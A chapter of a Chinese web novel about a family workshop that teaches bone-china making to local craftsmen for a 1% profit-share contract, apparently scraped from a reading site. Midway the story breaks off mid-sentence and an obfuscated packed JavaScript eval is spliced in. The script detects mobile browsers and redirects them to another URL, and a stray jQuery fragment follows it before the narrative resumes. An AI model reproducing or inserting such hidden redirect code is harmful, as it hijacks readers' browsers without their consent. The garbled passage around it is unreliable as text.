默认冷灰
24号文字
方正启体

172. 172

作者:今宜睡本书字数:K更新时间:
    172/著:今宜睡


    三月十七。


    立春已过了二十余日,府城的杨柳梢头终于染上一层薄薄的鹅黄。


    续物山房公开骨瓷制作技艺的消息,便是在这样一个寻常的春日传遍了昌南府府城大昌的每条街巷。


    起初没人信。


    有窑口的匠人辗转托了七八层关系来问,问是不是要收高额的束脩,是不是学了手艺要签死契,往后烧的瓷都要加莫家续物山房的底款等等。


    莫失让话少却中肯,告诉中人,一句两句说不清楚,来时本人前来的好。


    中人是莫惊春他们家老岩泥的拥趸,也是修然书院的先生,立刻就明白了莫失让的意思,拱拱手走了。当然,走的时候是笑眯眯的,毕竟手上的柴烧老岩泥手抓是续物山房的新品——就算有些落灰的瑕疵。


    第二日,那匠人就亲自来了,是个五


    十来岁的老匠人,曾经在浮梁学艺,后来入赘师门,将师门的手艺带到府城,就此烧了三十多年的瓷器。如今手艺传到第三代,却从未见过如骨瓷这样的薄胎。


    ——之前做薄胎最好的就是莫家老宅,手艺人就是莫失让,但莫失让做的薄胎虽然也可透光,但烧出的瓷器是蛋壳青,而不是骨瓷的月白之色。


    大概是同行,老匠人立在续物山房的大门口,两只手不知往哪里放,粗糙的指节攥着袖口,攥得死紧。


    莫失让和莫惊春十分热情的将人请进屋里,上了热茶和点心,装热茶的正是一套骨瓷茶器。


    老匠人还是拘谨的很,支支吾吾的不知道该说什么。


    莫惊春见此示意莫失让直入正题。


    莫失让会意,沉声道。


    “我续物山房不收分文束脩,不签契,学成之后或自用,或买卖各凭本事。只是将来诸位若因此获利,需算我续物山房以骨瓷技艺入股,而利润的百分之一作为入股分成,仅此一项,再无其他。”


    那匠人愣了很久。


    “......百分之一?不是售价,是利润?”


    “是。”


    “那、那若没有利润呢?”


    “便不必交。”


    “若老朽将手艺传给儿子呢?!”


    “尽可传授!”


    “若我儿贩卖......”


    “......”


    莫失让一下瞠目结舌了,他真的太过厚道,想不到这么多弯弯绕绕。


    “老伯,这约定就是个‘君子协议’,说白了就是考验学艺人的人品,毕竟我们续物山房本就为了将制瓷手艺发扬光大,骨瓷只是第一步而已。”


    莫惊春赶忙接话,帮着解释,当然,也是表明立场。


    “对,就是个‘君子协议’!”


    莫失让擦擦额头因紧张而出的汗。


    “还有其他手艺......”


    老匠人有些不敢置信了。


    “对,以后我们还会公开其他秘方。”


    莫失让肯定的说。


    ......


    老匠人走后,续物山房的门槛险些被踏破。


    有人验证的消息传开立刻传开,从卯时到酉时,续物山房的门就没合上过。来的人太多,正门还要做生意,没办法只能开了侧门。侧门原是运货的,门槛比正门还高出一截,几日下来,那青石门槛竟被踩得光亮了几分。


    莫惊春在后院设了张长案,案上摆着纸笔,一方青石砚台,一叠裁好的宣纸,还有一匣印红。她坐在案边,一碗茶从滚烫喝到凉透,来人还是络绎不绝。


    有从浮梁赶来的年轻匠人,也有府城街巷里开了一辈子小窑的老窑工。有背着包袱从邻县徒步走来的,也有坐着青帷小轿、穿着绸衫来的——那是府城几家大商铺的掌柜,自己不动手,只想买份工序回去雇人烧。


    莫惊春对谁都一样。


    愿学的,坐下听。愿走的,起身送。若是那些只想抄写工序和配方回去的,她也只抬眼看一眼,说一句:“可以抄,但抄走的只是字,不是手艺。您想好了?”


    多数人还是坐下了。


    莫忘夏坐在一旁,替那些不会写字的匠人抄写工序和泥料配方。


    在这个时代,大多数的匠人还是不认字的,如同莫家老宅一样从小学认字的更是少之又少。


    誊抄的原稿是莫惊春连夜写下的,字迹工整,一笔一画,从泥料的配比到素烧的火候,从釉料的淘洗到釉烧的时辰,写得明明白白,用词也简单易懂。


    誊抄不能错


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17272995|167948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个字,洗完后等墨迹干的差不多就叠起来,等着学艺之人签完股契。


    莫恋雪则负责与学艺之人订下那百分之一的股契。


    一式两份,待学艺之人在两份上都按上手印之后,她也将续物山房的对外印鉴盖于其上。


    之后其中一份递给莫忘夏,让莫忘夏将股契和抄写的工序配方放在一起折好,最后放入一张粗纸信封,交给学艺之人。


    那信封的封口也有讲究,盖着一方小小的朱印,是续物山房的“屾”字号——这枚印由莫少谦亲笔书写,莫失让亲手刻制,阳文篆书,边角已磨得有些圆润。


    印泥是莫家老宅带来的那匣,朱砂色沉,盖在粗纸信封上,像雪地里落下的一瓣红梅。


    另一份则由莫恋雪单独存放,作为莫家续物山房日后入股凭证。


    留在续物山房的这一份被莫恋雪叠得整齐又仔细,每折一道,便用指腹将折痕压平整。而存放股契的木匣子,也是专门的。


    那木匣是莫惊春问赵大人要的,榫卯结构,内藏机关,盖子推上去有极轻的一声“咔”,就已经落了锁,人力、物力皆不可开,除非是彻底破坏,否则不知道诀窍的是不可能打开的。


    印着“屾”字的装着股契和骨瓷技艺的信封,每个来学技艺的人,走时都带着这样一封信。


    ......


    第三日傍晚,莫恋雪清点契纸,数到七十三张。


    她合上木匣,指尖在匣盖上停留片刻。木匣已满了,最上面那张契纸抵着匣盖,压出一道浅浅的弯弧。


    “......阿春,”她抬起头,声音不大,怕惊着那些还在等的匠人,“这木匣要放不下了。”


    莫惊春正在灯下教一个年轻匠人认泥料的配比。


    那匠人是从其他临府赶来的,日夜兼程骑了三日马,到续物山房时,满身风尘,眼眶却亮得惊人。他蹲在长案边,盯着莫惊春手里那只粗瓷碗,碗里是调好的骨瓷泥料,灰白色,细腻得像脂膏。


    莫惊春没有抬头。


    “姐,去问娘要,一共有三个。”她说。


    “好嘞!”


    莫恋雪得令去了。


    那临县的匠人神色更加坚定,听莫惊春的讲解更加认真仔细。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)